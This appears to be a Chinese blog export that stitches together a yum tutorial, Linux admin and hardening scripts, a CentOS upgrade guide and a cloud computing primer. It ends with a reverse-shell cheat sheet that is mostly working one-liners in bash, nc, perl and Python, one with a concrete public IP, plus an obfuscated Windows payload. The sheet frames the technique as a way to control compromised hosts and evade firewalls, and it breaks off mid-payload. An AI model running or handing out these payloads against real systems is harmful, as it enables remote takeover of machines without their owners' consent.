> 在Linux操作系统中，软件包的管理是一个重要的任务。yum（Yellowdog Updater, Modified）是一个软件包管理工具，它是Red Hat Linux发行版中用于自动化安装、更新、删除和查询软件包的包管理器。yum命令可以使系统管理员轻松管理软件包，提供了一种简便的方法来安装、更新和移除软件，同时能够解决依赖关系，使软件安装过程更加顺利。



## 工作原理
yum的工作原理基于RPM包管理系统（RPM Package Manager）。RPM是一种二进制软件包格式，它包含了预编译的程序和相关的元数据。yum使用RPM包管理系统作为软件包的基础，并通过解决依赖关系自动安装和更新软件。

**yum的工作流程如下：**

1、配置仓库：yum会读取配置文件，其中包含了软件包的仓库信息，例如软件包的下载地址和依赖关系。

2、索引更新：在执行任何操作之前，yum会首先检查仓库中的软件包索引是否需要更新，以确保获取最新的软件包信息。

3、依赖解决：当用户执行安装或更新操作时，yum会自动解决软件包之间的依赖关系，确保所需的依赖包也会被下载和安装。

4、软件包下载：根据用户的请求和解决的依赖关系，yum会从配置的仓库中下载所需的软件包。

5、软件包安装：下载完成后，yum会安装软件包到系统中，同时更新系统的软件包数据库。

常用选项与参数解释

以下是yum命令的常用选项和参数，以及其含义和用法：

## 1、安装软件包
```
yum install package_name
```
通过该命令可以安装指定的软件包及其依赖关系。例如，要安装Apache web服务器，可以执行
```
yum install httpd。
```
2、更新软件包
```
yum update package_name
```
该命令用于更新指定的软件包到最新版本。例如，要更新所有已安装软件包，可以执行
```
yum update
```
3、卸载软件包
```
yum remove package_name
```
使用该命令可以卸载指定的软件包。例如，要卸载MySQL数据库服务器，可以执行
```
yum remove mysql-server
```
4、查询可用软件包

```
yum search keyword
```
通过该命令可以搜索包含关键词的可用软件包。例如，要搜索与"python"相关的软件包，可以执行
```
yum search python
```

5、列出已安装软件包

```
yum list installed
```
该命令用于列出已安装的所有软件包。

6、列出可更新软件包
```
yum list updates
```
使用该命令可以列出所有可更新的软件包。

7、列出软件包提供的文件

```
yum provides file_name
```
该命令可以查找提供指定文件的软件包。例如，要查找提供"libmysqlclient.so.18"文件的软件包，可以执行
```
yum provides libmysqlclient.so.18
```

8、清除缓存

```
yum clean [packages|metadata|expire-cache|all]
```
使用该命令可以清除yum的缓存。常用选项包括：

packages：清除下载的软件包缓存。

metadata：清除仓库的元数据缓存。

expire-cache：清除过期的元数据缓存。

all：清除所有缓存。

9、启用或禁用软件包仓库

```
yum config-manager --enable repository_name
yum config-manager --disable repository_name
```
通过这些命令可以启用或禁用指定的软件包仓库。例如，要启用EPEL仓库，可以执行
```
yum config-manager --enable epel
```
10、查看软件包信息

```
yum info package_name
```
该命令用于查看指定软件包的详细信息，包括版本、大小、作者等。

通过熟练掌握这些常用选项和参数，系统管理员可以更加灵活地使用yum命令进行软件包管理，确保系统的稳定性和安全性。yum的强大功能使得Linux系统的软件管理变得更加高效和便捷。

一文搞懂Yum命令：红帽系的包管理器

# shell脚本大全![](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/238825ab42b27259292e548a41d5caf7.16100D4E.webp)



## 几个关于硬盘的脚本
### 一、实现磁盘分区的
```shell
#! /bin/bash
# Function:对硬盘进行分区,得到一个标准的linux文件系统(ext4/xfs)的主分区
cat /proc/partitions > old
read -p "请输入你要分区的硬盘(写绝对路径，如：/dev/sda)：" A
if [ -e $A ];then
  echo "true"
else
  echo "该设备不存在！！"
  exit
fi
read -p "请输入你要创建的磁盘分区类型(这里只能是主分区，默认按回车即可):" B
read -p "请输入分区数字，范围1-4，默认从1开始，默认按回车即可：" C
read -p "请输入扇区起始表号，默认按回车即可：" D
read -p "请输入你要分区的分区大小(格式：如 +5G )：" E
fdisk $A << EOF
n
p
$C
$D
$E
w
EOF
echo "一个标准的linux文件系统的分区已经建立好！！"
partprobe $A
echo "-------------------------------"
cat /proc/partitions
cat /proc/partitions > new
F=`diff new old | grep "<" | awk '{print $5}'`
echo "-------------------------------"
echo $F
echo "你想对新分区设定什么类型的文件系统？有以下选项："
echo "A：ext4文件系统"
echo "B：xfs文件系统"
read -p "请输入你的选择：" G
case $G in
        a|A)
           mkfs.ext4 /dev/$F
           echo "该分区将被挂载在 "/mnt/$F" 下" 
           m=`ls /mnt/|grep $F | wc -l`
           if [ $m -eq 0 ];then
            mkdir /mnt/$F
           fi
           n=`cat /etc/fstab | grep /dev/$F| wc -l`
           if [ $n -eq 0 ];then
              echo "/dev/$F     /mnt/$F     ext4         defaults          0      0" >> /etc/fstab
           else
              sed -i '/^\/dev\/$F/c\/dev/$F     /mnt/$F     ext4         defaults          0      0' /etc/fstab
           fi
           mount -a
           df -Th
;;
        b|B)
           mkfs.xfs -f /dev/$F
           echo "该分区将被挂载在 "/mnt/$F" 下" 
           m=`ls /mnt/|grep $F | wc -l`
           if [ $m -eq 0 ];then
              mkdir /mnt/$F
           fi
           n=`cat /etc/fstab | grep /dev/$F | wc -l`
           if [ $n -eq 0 ];then
              echo "/dev/$F     /mnt/$F      xfs       defaults          0      0" >> /etc/fstab
           else
              sed -i '/^\/dev\/$F/c\/dev/$F     /mnt/$F     xfs         defaults          0      0' /etc/fstab
           fi
           mount -a
           df -Th
;;
        *)
           echo "你的输入有误！！"
esac
```

### 二、使用一整块硬盘创建逻辑卷
```shell
#!/bin/bash
# Function:使用一整块硬盘创建LVM逻辑卷
read -p "请输入你要做成逻辑卷的硬盘(写绝对路径，如：/dev/sda)：" path
if [ -e $path ];then
  echo "true"
else
  echo "该设备不存在！！"
  exit
fi
pvcreate $path
echo "该硬盘已做成物理卷！"
vgcreate myvg $path
echo "该物理卷已加入卷组 myvg 中"
vgs
free=`vgs| awk '$1~/myvg/{print}'|awk '{print $6}'`
echo "该物理卷剩余的空间大小为：$free "
read -p "请输入你要创建逻辑卷的大小(如：1G)：" repy2
lvcreate -L $repy2 -n mylv myvg
echo "已成功创建逻辑卷mylv"
echo "------------------------"
lvs
echo "------------------------"
echo "你想对新分区设定什么类型的文件系统？有以下选项："
echo "A：ext4文件系统"
echo "B：xfs文件系统"
read -p "请输入你的选择：" repy3
case $repy3 in
        a|A)
           mkfs.ext4 /dev/myvg/mylv
           echo "该分区将被挂载在 "/mnt/mylv" 下" 
           m=`ls /mnt/|grep mylv | wc -l`
           if [ $m -eq 0 ];then
            mkdir /mnt/mylv
           fi
           echo "/dev/myvg/mylv     /mnt/mylv     ext4         defaults          0      0" >> /etc/fstab
           mount -a
           df -Th
;;
        b|B)
           mkfs.xfs -f /dev/myvg/mylv
           echo "该分区将被挂载在 "/mnt/mylv" 下" 
           m=`ls /mnt/|grep mylv | wc -l`
           if [ $m -eq 0 ];then
              mkdir /mnt/mylv
           fi
           echo "/dev/myvg/mylv     /mnt/mylv      xfs       defaults          0      0" >> /etc/fstab
           mount -a
           df -Th
;;
        *)
           echo "你的输入有误！！"
esac
```

### 三、将一块硬盘分区，然后分区设置为虚拟卷
```shell
#! /bin/bash
# Date:2018-10-13
# Function:新建一个分区，并做成逻辑卷
cat /proc/partitions > old
read -p "请输入你要分区的硬盘(写绝对路径，如：/dev/sda)：" A
if [ -e $A ];then
  echo "true"
else
  echo "该设备不存在！！"
  exit
fi
read -p "请输入你要创建的磁盘分区类型(这里只能是主分区，默认按回车即可):" B
read -p "请输入分区数字，范围1-4，默认从1开始，默认按回车即可：" C
read -p "请输入扇区起始表号，默认按回车即可：" D
read -p "请输入你要分区的分区大小(格式：如 +5G )：" E
read -p "请输入你要划分为逻辑卷的分区盘符(默认回车即可)：" Z
fdisk $A << EOF
n
p
$C
$D
$E
t
$Z
8e
p
w
EOF
echo "一个标准LVM的分区已经建立好！！"
partprobe $A
echo "-------------------------------"
cat /proc/partitions
cat /proc/partitions > new
F=`diff new old | grep "<" | awk '{print $5}'`
echo "-------------------------------"
echo $F
pvcreate /dev/$F
echo "该硬盘已做成物理卷！"
n=`vgs | grep myvg |wc -l`
if [ $n -eq 0 ];then
   vgcreate myvg /dev/$F
   echo "该物理卷已加入卷组myvg中"
else
   vgextend myvg /dev/$F
   echo  "该物理卷已加入卷组myvg中"
   vgs
   free=`vgs| awk '$1~/myvg/{print}'|awk '{print $7}'`
   echo "该卷组剩余的空间大小为：$free "
   lvs
   exit
fi
vgs
free=`vgs| awk '$1~/myvg/{print}'|awk '{print $6}'`
echo "该卷组剩余的空间大小为：$free "
read -p "请输入你要创建逻辑卷的大小(如：1G)：" repy2
lvcreate -L $repy2 -n mylv myvg
echo "已成功创建逻辑卷mylv"
echo "------------------------"
lvs
echo "------------------------"
echo "你想对新分区设定什么类型的文件系统？有以下选项："
echo "A：ext4文件系统"
echo "B：xfs文件系统"
read -p "请输入你的选择：" G
case $G in
        a|A)
           mkfs.ext4 /dev/myvg/mylv
           echo "该分区将被挂载在 "/mnt/$F" 下" 
           m=`ls /mnt/|grep $F | wc -l`
           if [ $m -eq 0 ];then
            mkdir /mnt/$F
           fi
           echo "/dev/myvg/mylv     /mnt/$F     ext4         defaults          0      0" >> /etc/fstab
           mount -a
           df -Th
;;
        b|B)
           mkfs.xfs -f /dev/myvg/mylv
           echo "该分区将被挂载在 "/mnt/$F" 下" 
           m=`ls /mnt/|grep $F | wc -l`
           if [ $m -eq 0 ];then
              mkdir /mnt/$F
           fi
           echo "/dev/myvg/mylv     /mnt/$F      xfs       defaults          0      0" >> /etc/fstab
           mount -a
           df -Th
;;
        *)
           echo "你的输入有误！！"
esac
```

## 根据PID过滤进程所有信息
```shell
#! /bin/bash
# Function: 根据用户输入的PID，过滤出该PID所有的信息
read -p "请输入要查询的PID: " P
n=`ps -aux| awk '$2~/^'$P'$/{print $11}'|wc -l`
if [ $n -eq 0 ];then
 echo "该PID不存在！！"
 exit
fi
echo "--------------------------------"
echo "进程PID: $P"
echo "进程命令：`ps -aux| awk '$2~/^'$P'$/{print $11}'`"
echo "进程所属用户: `ps -aux| awk '$2~/^'$P'$/{print $1}'`"
echo "CPU占用率：`ps -aux| awk '$2~/^'$P'$/{print $3}'`%"
echo "内存占用率：`ps -aux| awk '$2~/^'$P'$/{print $4}'`%"
echo "进程开始运行的时刻：`ps -aux| awk '$2~/^'$P'$/{print $9}'`"
echo "进程运行的时间：`ps -aux| awk '$2~/^'$P'$/{print $10}'`"
echo "进程状态：`ps -aux| awk '$2~/^'$P'$/{print $8}'`"
echo "进程虚拟内存：`ps -aux| awk '$2~/^'$P'$/{print $5}'`"
echo "进程共享内存：`ps -aux| awk '$2~/^'$P'$/{print $6}'`"
echo "--------------------------------"
```

![1690792458625.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/1580011b7bd74a36a3f529c84b9e9bbe.1690792458625.webp)

## 根据进程名过滤进程信息
会显示出该进程名包含的所有线程

```shell
#! /bin/bash
# Function: 根据输入的程序的名字过滤出所对应的PID，并显示出详细信息，如果有几个PID，则全部显示
read -p "请输入要查询的进程名：" NAME
N=`ps -aux | grep $NAME | grep -v grep | wc -l` ##统计进程总数
if [ $N -le 0 ];then
  echo "该进程名没有运行！"
fi
i=1
while [ $N -gt 0 ]
do
  echo "进程PID: `ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $2}'`"
  echo "进程命令：`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $11}'`"
  echo "进程所属用户: `ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $1}'`"
  echo "CPU占用率：`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $3}'`%"
  echo "内存占用率：`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $4}'`%"
  echo "进程开始运行的时刻：`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $9}'`"
  echo "进程运行的时间：` ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $11}'`"
  echo "进程状态：`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $8}'`"
  echo "进程虚拟内存：`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $5}'`"
  echo "进程共享内存：`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $6}'`"
  echo "***************************************************************"
  let N-- i++
done
```

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/acf884d271c64f1b7fa9906648a40488.image.webp)

## 根据用户名查询该用户的相关信息
```shell
#! /bin/bash
# Function：根据用户名查询该用户的所有信息
read -p "请输入要查询的用户名：" A
echo "------------------------------"
n=`cat /etc/passwd | awk -F: '$1~/^'$A'$/{print}' | wc -l`
if [ $n -eq 0 ];then
echo "该用户不存在"
echo "------------------------------"
else
  echo "该用户的用户名：$A"
  echo "该用户的UID：`cat /etc/passwd | awk -F: '$1~/^'$A'$/{print}'|awk -F: '{print $3}'`"
  echo "该用户的组为：`id $A | awk {'print $3'}`"
  echo "该用户的GID为：`cat /etc/passwd | awk -F: '$1~/^'$A'$/{print}'|awk -F: '{print $4}'`"
  echo "该用户的家目录为：`cat /etc/passwd | awk -F: '$1~/^'$A'$/{print}'|awk -F: '{print $6}'`"
  Login=`cat /etc/passwd | awk -F: '$1~/^'$A'$/{print}'|awk -F: '{print $7}'`
  if [ $Login == "/bin/bash" ];then
  echo "该用户有登录系统的权限！！"
  echo "------------------------------"
  elif [ $Login == "/sbin/nologin" ];then
  echo "该用户没有登录系统的权限！！"
  echo "------------------------------"
  fi
fi
```

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/008547be0d657e60cbf73dd861b4fffe.image.webp)

## 加固系统的一些配置
```shell
#! /bin/bash
# Function:对账户的密码的一些加固
read -p "设置密码最多可多少天不修改：" A
read -p "设置密码修改之间最小的天数：" B
read -p "设置密码最短的长度：" C
read -p "设置密码失效前多少天通知用户：" D
sed -i '/^PASS_MAX_DAYS/c\PASS_MAX_DAYS '$A'' /etc/login.defs
sed -i '/^PASS_MIN_DAYS/c\PASS_MIN_DAYS '$B'' /etc/login.defs
sed -i '/^PASS_MIN_LEN/c\PASS_MIN_LEN '$C'' /etc/login.defs
sed -i '/^PASS_WARN_AGE/c\PASS_WARN_AGE '$D'' /etc/login.defs

echo "已对密码进行加固，新用户不得和旧密码相同，且新密码必须同时包含数字、小写字母，大写字母！！"
sed -i '/pam_pwquality.so/c\password requisite pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type= difok=1 minlen=8 ucredit=-1 lcredit=-1 dcredit=-1' /etc/pam.d/system-auth

echo "已对密码进行加固，如果输入错误密码超过3次，则锁定账户！！"
n=`cat /etc/pam.d/sshd | grep "auth required pam_tally2.so "|wc -l`
if [ $n -eq 0 ];then
sed -i '/%PAM-1.0/a\auth required pam_tally2.so deny=3 unlock_time=150 even_deny_root root_unlock_time300' /etc/pam.d/sshd
fi

echo  "已设置禁止root用户远程登录！！"
sed -i '/PermitRootLogin/c\PermitRootLogin no'  /etc/ssh/sshd_config

read -p "设置历史命令保存条数：" E
read -p "设置账户自动注销时间：" F
sed -i '/^HISTSIZE/c\HISTSIZE='$E'' /etc/profile
sed -i '/^HISTSIZE/a\TMOUT='$F'' /etc/profile

echo "已设置只允许wheel组的用户可以使用su命令切换到root用户！"
sed -i '/pam_wheel.so use_uid/c\auth required pam_wheel.so use_uid ' /etc/pam.d/su
n=`cat /etc/login.defs | grep SU_WHEEL_ONLY | wc -l`
if [ $n -eq 0 ];then
echo SU_WHEEL_ONLY yes >> /etc/login.defs
fi

echo "即将对系统中的账户进行检查...."
echo "系统中有登录权限的用户有："
awk -F: '($7=="/bin/bash"){print $1}' /etc/passwd
echo "********************************************"
echo "系统中UID=0的用户有："
awk -F: '($3=="0"){print $1}' /etc/passwd
echo "********************************************"
N=`awk -F: '($2==""){print $1}' /etc/shadow|wc -l`
echo "系统中空密码用户有：$N"
if [ $N -eq 0 ];then
 echo "恭喜你，系统中无空密码用户！！"
 echo "********************************************"
else
 i=1
 while [ $N -gt 0 ]
 do
    None=`awk -F: '($2==""){print $1}' /etc/shadow|awk 'NR=='$i'{print}'`
    echo "------------------------"
    echo $None
    echo "必须为空用户设置密码！！"
    passwd $None
    let N--
 done
 M=`awk -F: '($2==""){print $1}' /etc/shadow|wc -l`
 if [ $M -eq 0 ];then
  echo "恭喜，系统中已经没有空密码用户了！"
 else
echo "系统中还存在空密码用户：$M"
 fi
fi

echo "即将对系统中重要文件进行锁定，锁定后将无法添加删除用户和组"
read -p "警告：此脚本运行后将无法添加删除用户和组！！确定输入Y，取消输入N；Y/N：" i
case $i in
      [Y,y])
            chattr +i /etc/passwd
            chattr +i /etc/shadow
            chattr +i /etc/group
            chattr +i /etc/gshadow
            echo "锁定成功！"
;;
      [N,n])
            chattr -i /etc/passwd
            chattr -i /etc/shadow
            chattr -i /etc/group
            chattr -i /etc/gshadow
            echo "取消锁定成功！！"
;;
       *)
            echo "请输入Y/y or N/n"
esac
```

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/7e9585e1167d97bd705e03d5b6f033a0.image.webp)

常用shell脚本

> 升级CentOS系统版本是一项敏感的操作，需要谨慎处理并确保事先备份重要数据，以防意外情况发生。在进行升级前，请务必阅读官方文档和备份您的数据。



在从CentOS 7.* 升级到CentOS 7.9的过程中，建议执行以下步骤：

1. **备份数据：** 在进行任何系统升级之前，务必备份您的重要数据。这样即使出现问题，您也可以恢复数据到之前的状态。

2. **更新当前系统：** 在开始升级之前，先确保您的CentOS 7.2系统是最新的。执行以下命令更新系统：
   ```
   sudo yum update
   ```

3. **添加EPEL存储库（可选）：** EPEL（Extra Packages for Enterprise Linux）是CentOS的一个第三方软件源，提供了许多额外的软件包。根据需要，您可以选择安装EPEL存储库：
   ```
   sudo yum install epel-release
   ```

4. **安装CentOS 7.9的发布包：** 在CentOS的升级过程中，您需要安装CentOS 7.9的发布包。确保您已经下载了正确版本的发布包。可以通过以下命令来安装发布包：
   ```
   sudo rpm -Uvh http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-9.2009.0.el7.centos.x86_64.rpm
   ```

5. **执行系统升级：** 安装了CentOS 7.9的发布包后，您可以执行系统升级：
   ```
   sudo yum clean all
   sudo yum update
   ```

6. **解决依赖关系问题（可选）：** 在执行系统升级过程中，可能会遇到一些依赖关系问题。根据实际情况，您可能需要解决这些问题。可以尝试使用`yum`命令的`--skip-broken`选项来跳过一些问题：
   ```
   sudo yum update --skip-broken
   ```

7. **重启系统：** 在升级完成后，建议重新启动系统，以使所有更改生效：
   ```
   sudo reboot
   ```

8. **验证版本：** 重启后，验证您的CentOS版本是否已成功升级到7.9：
   ```
   cat /etc/centos-release
   ```



:::warning{title="注意"}
请注意，升级过程中可能会出现各种问题，例如依赖关系错误、软件包冲突等。如果您不确定操作或遇到问题，请查阅官方文档，参考社区支持或寻求专业帮助。
:::
```c++
另外，值得一提的是，CentOS 7.2到CentOS 7.9的升级是一次大版本升级。CentOS 7系列的支持周
期较长，但请注意CentOS 7系列的维护和支持在未来可能有所改变。在考虑升级之前，建议了解当前
CentOS版本的支持状态以及其他可用的操作系统选项。
```

CentOS系统版本升级

# 什么是云

云是一种比喻的说法，是指基于云计算和云服务的应用，这是网络发展的趋势。



> 具体来讲就是你把电脑里所有的资料都放在网络上，什么都不用带，到任何一个地方任何一个角落，只要能上网，通过什么识别，你的资料或者你想要的资料都能找出来查询、修改、保存。

> 就和钱存到银行以后，到那个城市的ATM机上都能取出来一样。早期的云只是一个数据存储中心，逐渐地还能提供计算、服务、甚至应用功能。

# 云的基本概念术语


## 2.1公有云和私有云
私有云和公有云的显著差别在于对数据的掌控。

采用公有云服务的企业必须将数据托管于云服务商的数据中心，企业对数据的掌握力度自然减弱。\
一旦数据中心因自然灾害、认为因素或法律规范等各方面因素导致数据丢失，将对企业形成致命伤害。

私有云在数据安全、数据备份等方面有更多的可选择空间。\
公有云当然也具备数据安全服务和数据备份能力，但企业对此的控制力度较差，不能处于主导地位。

>引用网上未知来源作者的制图，从用户、业务场景、技术架构、兼容性、安全、定制、成本、运维八个维度对比如下：

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/1d17729203f7ea85ad7d08c01448504b.image.webp)


![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/9cadf345654a33355fbdf0fb1ae2ecd4.image.webp)


![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/a97bf01895c74f7120503f7926b35386.image.webp)


![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/95eaeb9b5a0fa1f4e2fa889ef0f32830.image.webp)


![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/c73727f3782c373b25e70024cad84191.image.webp)


![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/ce26543681fcc0b1aec16de9c7f88444.image.webp)


![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/9149a634b2274b50f828336085611127.image.webp)


![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/7fbd577b73569bc7f50161d31435662b.image.webp)


除了**公有云、私有云**，其实还有两种云：

> **社区云**：建立在一个特定的小组里多个目标相似的公司之间，他们共享一套基础设施，企业也像是共同前进，所产生的成本由他们共同承担，因此所能实现的成本节约效果也并不很大。社区云的成员都可以登录云中获取信息和使用应用程序。

> **混合云**：两种或两种以上的云计算模式的混合体，如公有云和私有云混合。他们相互独立，但在云的内部又相互结合，可以发挥出所混合的多种云计算模型各自的优势。

## 2.2 IaaS、PaaS、SaaS
云的分层架构如下：

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/e262c7100f08a3889ed47fbc96469766.image.webp)
来个接地气的：

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/eea3a77d6aff40dd50fcd9d210fb66aa.image.webp)
从上面的分层架构图已经可以看出，IaaS、PaaS、SaaS三者的区别在于服务的程度不同。具体来讲：

### IaaS\:Infrastrure-as-Service（基础设施即服务）
举例：几年前如果你想在办公室或者公司的网站上运行一些企业应用，你需要去买服务器，或者别的高昂的硬件来控制本地应用，才能让你的业务正常运行。
但现在可以租用IaaS公司提供的场外服务器，存储和网络硬件。这样一来，便大大的**节省了维护成本和办公场地**。

### PaaS\:platform-as-a-Service（平台即服务）
举例：PaaS公司在网上提供各种开发和分发应用的解决方案，比如虚拟服务器和操作系统。这**节省了你在硬件上的费用，也让分散的工作室之间的合作变得更加容易**。网页应用管理，应用设计，应用虚拟主机，存储，安全以及应用开发写作工具等。

### SaaS\:Software-as-a-Service（软件即服务）
距离：生活中，**几乎我们每一天都在接触SaaS云服务**，比如：我们平时使用的苹果手机云服务，网页中的一些云服务等。

IBM的软件架构师AAlbert barron曾经使用披萨作为比喻，解释这个问题。David Ng进一步引申。让它变得更准确易懂。请设想你是一个餐饮业者，打算做披萨生意。
你可以从头到尾，自己生产披萨，但是这样比较麻烦，需要准备的东西多，因此你决定外包一部分工作，采用他人的服务。你有三个方案：

### 方案一：IaaS
他人提供厨房、炉子、煤气，你使用这些基础设施，来烤你的披萨

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/b6ba1a45d6cdaa603038a77c931dd9b5.image.webp)\
### 方案二：PaaS
除了基础设施，他人还提供披萨饼皮，你只要把自己的配料洒在饼皮上，让他帮你烤出来就行了。也就是说，你要做的就是设计披萨的味道，他人提供平台服务，让你把自己的设计实现。

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/5b64481f96b472fa7a913e8419e5523d.image.webp)\
方案三：SaaS
他人直接做好了披萨，不用你的介入，到手的就是一个成品。你要做的就是把它卖出去，最多再包装一下，印上你的LOGO

![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/4846e6f4b655d5358dd547102b90e68d.image.webp)




:::info{title="总结一句话"}
云的理念就是资源整合，按需分配。
:::

到底什么是云计算

## 什么是反弹shell



reverse shell（**反弹shell**），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。


![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/7b3ae9a78fdd94e5e7a76e018716062a.image.webp)

## 为什么要反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面，web服务，ssh，telnet等等，都是正向连接。那么什么情况下正向连接不太好用了呢？

1、对方主机在局域网内，从外网无法直接访问。

2、对方主机上存在WAF，对主动连接发来的请求数据检测严格，而对向外发出的请求不进行检测或检测较少。

3、对方的ip会动态改变，你不能持续控制。

4、对方由于防火墙等限制，对方机器只能发送请求，不能接收请求。

5、对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机，都是未知，所以建立一个服务端，让恶意程序主动连接，才是上策。

那么反弹就很好理解了， 攻击者指定服务端，受害者主机主动连接攻击者的服务端程序，就叫反弹连接。在渗透测试过程中，得到webshell后一般我们会反弹shell。

## 反弹shell原理
```shell

A主机开启9090端口的tcp服务
B主机连接到A主机的9090的tcp服务
A主机通过tcp服务把命令发到B主机
B主机读取命令并且在bash中执行
B主机把执行结果发给A主机

这样就可以在A主机中'操控'B主机了
```

## 反弹shell操作步骤
```shell
在本机开启并监听端口
在需要被控制的机器上执行反弹shell命令
在本机监听反弹shell的端口
```

## 反弹shell方法大全


![image.png](https://zywdetuchuang.oss-cn-beijing.aliyuncs.com/VanBlog/12ee01e4ba2c7ef74674bdea7194e1f7.image.webp)

### Bash反弹shell
```shell
目标主机
/bin/bash -c bash -i >& /dev/tcp/x.x.x.x/12345 0>&1
自己主机打开监听端口
nc -lv 12345
--------------------------------------------------------------
比如我对我服务器9999端口进行监听
nc -lv 9999

通过特殊手段在目标主机上执行shell反弹命令，并在后台运行
/bin/bash -c bash -i &>/dev/tcp/218.78.23.121/9999 0>&1 &
```
> 这样一个简单的shell反弹就完成了，只要目标主机执行了这条命令，我就获取到了他的shell界面

### Bash反弹shell TCP
```shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196
```

### Bash反弹shell UDP
```shell
Victim:
sh -i >& /dev/udp/127.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242
```

### NC反弹shell
```shell
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 12388 >/tmp/f
```

### perl反弹shell
```perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

## Python反弹shell
### 基于linux的python
```python
// 方法一
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

// 方法二
$ export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

### 基于Windows的Python反弹shell
```python

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), 